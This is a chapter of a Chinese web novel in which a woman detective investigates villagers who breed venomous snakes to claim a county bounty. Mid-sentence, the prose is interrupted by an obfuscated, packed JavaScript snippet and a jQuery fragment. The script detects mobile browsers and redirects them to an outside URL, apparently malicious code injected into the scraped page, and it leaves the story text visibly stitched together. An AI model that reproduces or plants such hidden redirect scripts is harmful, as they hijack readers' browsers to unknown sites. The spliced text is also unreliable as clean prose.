16. 水蛇害人
作品:《水系异闻录:我在敌国当侦探》 汴京城外,东北方向的一片树林里,卢轸一人骑马走在小道上。
昨天日落时分,一直等不到射玉回来。虽说之前也有过这样的情况,隼儿偶尔贪玩在外面过夜。但一晚过去了,依然不见射玉的影子,卢轸有些担心,一大早就出城朝射玉昨天飞走的方向找去。
四下观望一番,小道上再无其他人。卢轸提气,吹出了一声高亢的口哨,口哨乘着风迅速朝前面扩散。
“唳——”
有回应了!卢轸朝叫声传回来的方向骑去。
行至一片麦田,卢轸在麦田旁边仅有的几棵树上,发现了射玉。还好还好,精神气看起来还不错,也没有受伤,卢轸来之前还担心射玉是不是被猎户捉住了,现在悬着的心总算放下。
这附近都是麦田,除此之外还有一条小河,射玉待在这做什么。
忽然间,射玉从树冠上飞起,树枝被猛地一蹬,左右摇晃哗哗作响。射玉的目标看起来很明确,朝着麦田旁边的那条小河俯冲而下。爪子从河面掠过,快速夹住了一个长条的东西。
是一条水蛇。卢轸有些无奈,这一晚上没回去不会就是为了吃一口蛇肉吧。
射玉落在树上,熟练地擒住水蛇的脑袋,开始大快朵颐。卢轸走近一瞧,树下还有很多撕扯时掉下来的肉末渣渣。好吧,就是为了一口蛇肉。
卢轸坐在麦田旁边等着射玉。朔木那边种粟米的要比小麦多,这么大片的麦田,卢轸在北边没怎么见过。
乌雅等得有些不耐烦,打了个响鼻,有些焦躁地刨着麦田。卢轸赶快起身把乌雅牵远一些,别把人家庄稼给糟蹋了。
“乌雅,这蛇肉你也吃不了呀,回去就给你加草料,别着急,马上就能走了。”
一人一马在河边重新安置下来,卢轸随手捡起一根长树枝,坐在石头上开始戳泥巴地。树枝顺着地面上一个扁圆形的洞口伸了进去,咔哒一声,前梢猛地一顿,卢轸费了点小劲才又把树枝抽出来。
凑近一看,晒得干瘪的树枝前面有些浅黄色的水渍,还带着腥臭的味道,是蛇毒!
这随便一捅就能捅到蛇窝,怪不得射玉在这待了一晚上。卢轸坐的地方是紧挨着小河的一处缓坡,类似刚才的那个扁圆形洞口,这片泥地上的其他地方也有。那石头旁边散落着的黑色团块,应该就是蛇粪了。
卢轸还想再看看,却被远处传来的人声叫住了,“年轻人,快别坐那了,小心有毒蛇!”
看来自己猜的不错,卢轸马上退回到了麦田旁边。来人是个老汉,头戴席帽,皮肤黝黑,扛着一把锄头,应是早起来田里打理庄稼的。
老人有些担心地看向卢轸刚才坐过的地方,“还好你上来得快,下次没事不要再去河边了,这里没有能坐的地方。要是想歇脚的话,去我们家棚子那里坐坐吧。我在那撒了些雄黄粉,会安全些。”
老人指了指麦田后面,那里有个稻子席搭成的小棚子,应该是平时下地做农活时歇息的去处。
“多谢老人家。”卢轸见老人家主动邀请,便顺势答应下来。正好她也有事情想问问清楚。
“老人家,来地里干活啊。这几年收成怎么样?看这麦子马上都能收了。这锄头瞧着不轻,我来帮您拿吧。”
“不用不用,老头子我身体好着呐。”民以食为天,老人说起自己种的麦子很是高兴,“从这,一直到那边的田垄,是我们家的地。今年年景不错,不像往年,也不用自己浇水,地里面就挺湿的。种的庄稼不多,但是也够养活一家人了。小哥是做什么的?应该不是本地人吧?咱们这村子里的人可不会坐在河旁边。”
卢轸答道:“确实不是本地人,我和朋友一起,在外地做了一点小生意。刚才正准备进京去呢,路上停下歇歇脚,不想坐到蛇窝上面去了,多谢老人家提醒。”
“小事情,用不上说谢。之前也有外地人从咱们这过,知道这里有毒蛇,都是一溜烟地跑走了,小哥这样镇定的还真是少见。”
卢轸笑而不答,以前外出巡营整兵,风餐露宿是常有的事情,什么五毒俱全的东西没见过,她可不害怕蛇。
两人边说边走,老人家的棚子不是很大,刚刚好能够提供两个人的阴凉。棚子旁边也真如老人所说,撒了一圈雄黄粉,正好把棚子圈在中间。
卢轸问道:“老人家,这附近毒蛇很多吗?都到要用雄黄粉的程度了?”
老人放下锄头,叹了一声气说道:“说来也奇怪,前些年都太太平平的,不知道从什么时候开始,河里有了这些害人的玩意儿,不光我们这有,附近几个村子旁边的河里面也有。就你刚才坐旁边的那条河,几天前,和我一个村的老曾头,他家的孙子,从河边路过,腿上就被蛇咬了一口。身子麻了半边,躺在河岸上不能动弹,还好家里人发现得及时,送到医馆才保住了性命。之前还有几次,就是没有老曾头家的走运了,人没救过来。”
“毒蛇泛滥,伤人性命,怎么也没有官府出面管一下的。”
“怎么没管啊。咱们祥符县的县太爷是个好官,听说这事后,派了人下到乡里帮咱们老百姓抓蛇。地笼子、捕鱼网都用上了,但是县里人手不够,这蛇怎么也除不干净。后来县城里又贴了告示,说凡是祥符县里的人,抓到了毒蛇,一条毒蛇可以拿到县衙换十枚铜板。”
这法子不错,卢轸在心里默默赞道,既解了蛇患,又能给老百姓一笔额外的工钱。可是效果好像不怎么好。
卢轸继续问道:“县令大人真是当世诸葛。只是这悬赏令一下,百姓自然愿意捉蛇换钱。那这附近怎的还有蛇出没呢,是县衙言而无信,不肯给百姓捕蛇钱吗?”
老人家摇摇头,自嘲地说道:“小哥说错了。以前都说当官的坏,拿百姓的,吃百姓的,最后还要反过头来踩老百姓。可谁知道,这次实实在在是反过来了。”
反过来?听起来不是当官的错了。
卢轸心中一动,试探地说道:“不会是有人见捕蛇可以换钱,自己养了这毒蛇拿到县衙去换钱了吧。”
“小哥真不愧是做生意的,脑袋就是灵光!我也是昨天刚知道的,一点不错,就是小哥说的那样。刚开始是别的村里的人抓了毒蛇去养,拿到县衙一下换了好几百文。那养蛇的人得意得很,从县衙出来眼睛都快长头顶上去了。他们村里的人眼红,以为是他找到了蛇窝,都去问他蛇窝在哪里。那人刚开始不肯开口,后来是被灌了一顿酒,嘴漏了缝,这才迷迷糊糊地说,是自己养的蛇。村里的人一听,都开始养起了蛇。一传十,十传百,现在没有哪个村里是没人不养蛇的。要我说,这些人的良心都叫狗吃了,县太爷分明是为着咱们老百姓着想,这才整了个悬赏抓蛇。他们拿了这不义之财,也不怕折寿。让我碰上了,非得啐他们一口唾沫。”老人家说话又急又快,应是把心里憋了很久的情绪一股脑全倒出来了。
“这些人如此钻营取巧,官府没有察觉吗?”
卢轸刚问完,麦田的那头又跑过来了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515176|202115||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个人,这个年轻些,是县衙里公差的打扮。
“爹!”
“这是我们家的小子,就在咱们祥符县的县衙里当捕快。”老人家聊起自己的儿子,颇有些自豪。
“老人家教子有方了。”卢轸发自内心地说着。老人家立身颇正,在周围都是人赚这种快钱的时候,还能公正地说出刚才那番话,实属不易。
“这位小哥是?”
“哦,我是进京行商之人,路过河边歇脚,幸被令尊提醒,这才避过了蛇祸。”
捕快说道:“对了爹,说到蛇,县里已经知道几个村子都在养蛇骗钱了,太爷很生气,说今天就要把那悬赏捕蛇的告示给撤掉,省下来的钱再多买些地笼捕蛇。”
卢轸在一旁小声地说:“捕快大哥,容我插一句,此时把告示匆忙撤掉,恐怕不太好。”
捕快有些不解,“小哥这话怎么说,县里为了让乡亲们主动去捕蛇,已经花出去了几箩筐的铜板。没想到这些人脑子里藏了不敞亮的心思,合起伙来骗县里的钱。县衙的钱花出去了,河里的蛇却越来越多。如今真相大白,怎肯容那些人再造假骗钱,必是要把告示撤了的。”
卢轸适时地点拨了一下,“告示撤了,然后呢,那些人手里拿着大把的毒蛇,却没有销路,这些毒蛇会去向何处?”
“小哥的意思是说……”
“没错,有点良心的,或许还知道要将这些毒蛇处死之后再扔掉。可若是好逸恶劳的人呢,他们可不会管这么多,手里的毒蛇换不成铜板了,这些毒蛇怕是顷刻间就要全扔进河里。”
老人家听了卢轸好,焦急地问道:“这可如何是好,那周围几个庄子不得全让毒蛇给糟蹋了。”
捕快也是免露急色,“小哥可有什么好办法?”
卢轸思忖片刻,说道:“办法是有的,可也不见得有多好。首先告示不能现在就撤,可以换上一张新的告示,就说要过几天才能开始收蛇换钱,一条蛇涨到五十文,就限这几天,过后蛇的价格会变回原来的十文钱。其次要找到这些人豢养毒蛇的地方。这么多的毒蛇离不开人,他们总要去喂食的。或跟踪,或套话,总之一定是一个有水的地方。十文钱都有人冒险养蛇,更何况是五十文。他们养的蛇一时间也孵不出来更多的新蛇,为了五十文一条的价格,只怕过不了多久,这麦田旁边的河里都有人为争抢毒蛇大打出手了。”
“这已经是很好的办法了。”捕快高兴地说着,向卢轸连连致谢。
卢轸想了想,又开口说道:“只是这样做,应该还会有一些毒蛇捉不到。或许县里面可以养一些鹅放在河里,《仇池笔记》有记载,鹅能警盗,亦能却蛇。退蛇之策,书中写的很清楚,捕快大哥跟县令大人说上书名,县令大人自会明白。”
“好好好,我这就回县里告诉太爷。”
捕快说完转身就要走,结果被父亲喊住了。
“哎,柱子,你这回来一趟是干啥来的,咋什么事没说就要走啊?”
“差点忘了,爹,我中午不回来吃午饭了。县里出了件人命案子,听说死的还是京里办差的,太爷重视的得很,从京城大理寺请了个姓栾的大人来帮忙查案,让我们这些捕快都去现场守着呢。”
“好,那你快去吧,跟在太爷身边多学学,我中午回去跟你娘说一声。”
“好嘞,爹,我走了。”
栾大人?据卢轸所知,大理寺好像就一个姓栾的大人,正是一月前刚刚升迁的栾素。

